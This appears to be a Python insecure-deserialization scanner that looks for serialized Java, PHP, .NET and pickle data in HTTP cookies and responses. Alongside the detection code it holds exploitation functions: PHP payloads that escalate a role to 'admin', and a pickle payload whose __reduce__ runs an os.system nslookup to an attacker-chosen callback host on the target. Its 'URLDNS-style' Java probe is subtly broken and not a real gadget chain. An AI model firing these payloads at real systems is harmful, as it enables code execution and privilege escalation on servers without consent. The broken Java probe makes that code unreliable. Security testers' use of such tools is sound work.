#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""Insecure deserialization detection agent for identifying serialized data in HTTP traffic."""

import argparse
import base64
import json
import logging
import re
import sys
from typing import List, Optional

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

JAVA_MAGIC = b"\xac\xed\x00\x05"
JAVA_BASE64_PREFIX = "rO0AB"
DOTNET_VIEWSTATE_PREFIX = "/wE"
PHP_SERIAL_PATTERN = re.compile(r'[OaCsid]:\d+:')


def detect_serialization_format(data: str) -> Optional[str]:
    """Detect the serialization format from a string value."""
    if data.startswith(JAVA_BASE64_PREFIX):
        return "java_serialized"
    if data.startswith("H4sIAAAAAAAA"):
        return "java_gzipped_serialized"
    if data.startswith(DOTNET_VIEWSTATE_PREFIX):
        return "dotnet_viewstate"
    if PHP_SERIAL_PATTERN.match(data):
        return "php_serialized"
    try:
        decoded = base64.b64decode(data[:16])
        if decoded.startswith(JAVA_MAGIC):
            return "java_serialized_base64"
        if decoded[0:1] == b"\x80":
            return "python_pickle"
    except Exception:
        pass
    return None


def scan_cookies(url: str, session: Optional[requests.Session] = None) -> List[dict]:
    """Scan response cookies for serialized data."""
    sess = session or requests.Session()
    resp = sess.get(url, timeout=10, verify=False)
    findings = []
    for cookie in resp.cookies:
        fmt = detect_serialization_format(cookie.value)
        if fmt:
            findings.append({
                "location": "cookie",
                "name": cookie.name,
                "format": fmt,
                "value_preview": cookie.value[:60] + "...",
                "domain": cookie.domain,
            })
            logger.warning("Serialized data in cookie '%s': %s", cookie.name, fmt)
    return findings


def scan_response_body(url: str, method: str = "GET",
                        data: Optional[dict] = None) -> List[dict]:
    """Scan HTTP response body for serialized data patterns."""
    resp = requests.request(method, url, json=data, timeout=10, verify=False)
    body = resp.text
    findings = []

    java_matches = re.findall(r'rO0AB[A-Za-z0-9+/=]{10,}', body)
    for m in java_matches:
        findings.append({"location": "response_body", "format": "java_serialized", "value_preview": m[:60]})

    php_matches = PHP_SERIAL_PATTERN.findall(body)
    for m in php_matches:
        findings.append({"location": "response_body", "format": "php_serialized", "value_preview": m[:60]})

    viewstate = re.findall(r'__VIEWSTATE[^"]*"([^"]+)"', body)
    for v in viewstate:
        findings.append({"location": "viewstate_field", "format": "dotnet_viewstate", "value_preview": v[:60]})

    return findings


def test_java_deserialization(url: str, cookie_name: str,
                               callback_host: str) -> dict:
    """Test for Java deserialization using a URLDNS-style detection payload."""
    import struct
    dns_url = f"http://{callback_host}/java-deser-test"
    urldns_marker = base64.b64encode(
        JAVA_MAGIC + b"\x00\x00\x00" + dns_url.encode()
    ).decode()

    resp = requests.get(url, cookies={cookie_name: urldns_marker},
                        timeout=10, verify=False)
    return {
        "test": "java_urldns_probe",
        "cookie_name": cookie_name,
        "callback_host": callback_host,
        "response_status": resp.status_code,
        "note": f"Check {callback_host} for DNS callback to confirm deserialization",
    }


def test_php_deserialization(url: str, param_name: str) -> dict:
    """Test PHP deserialization with a role escalation payload."""
    payloads = [
        'O:4:"User":2:{s:4:"name";s:4:"test";s:4:"role";s:5:"admin";}',
        'a:1:{s:4:"role";s:5:"admin";}',
        'b:1;',
    ]
    results = []
    for payload in payloads:
        encoded = base64.b64encode(payload.encode()).decode()
        resp = requests.get(url, params={param_name: encoded}, timeout=10, verify=False)
        results.append({
            "payload_type": "php_object" if payload.startswith("O:") else "php_array",
            "status_code": resp.status_code,
            "content_length": len(resp.content),
        })
    return {"test": "php_deserialization", "parameter": param_name, "results": results}


def test_python_pickle(url: str, param_name: str, callback_host: str) -> dict:
    """Test Python pickle deserialization with an OOB detection payload."""
    import pickle
    import os

    class Probe:
        def __reduce__(self):
            return (os.system, (f"nslookup {callback_host}",))

    payload = base64.b64encode(pickle.dumps(Probe())).decode()
    resp = requests.post(url, data={param_name: payload}, timeout=10, verify=False)
    return {
        "test": "python_pickle_probe",
        "parameter": param_name,
        "callback_host": callback_host,
        "response_status": resp.status_code,
        "note": f"Check {callback_host} for DNS callback",
    }


def run_assessment(url: str, callback_host: str = "") -> dict:
    """Run a full deserialization assessment."""
    cookie_findings = scan_cookies(url)
    body_findings = scan_response_body(url)

    return {
        "target": url,
        "serialized_data_found": len(cookie_findings) + len(body_findings),
        "cookie_findings": cookie_findings,
        "response_body_findings": body_findings,
        "formats_detected": list(set(
            f["format"] for f in cookie_findings + body_findings
        )),
    }


def main():
    parser = argparse.ArgumentParser(description="Insecure Deserialization Detection Agent")
    parser.add_argument("--url", required=True, help="Target URL to scan")
    parser.add_argument("--callback", default="", help="OOB callback host for exploitation tests")
    parser.add_argument("--output", default="deserialization_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url, args.callback)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()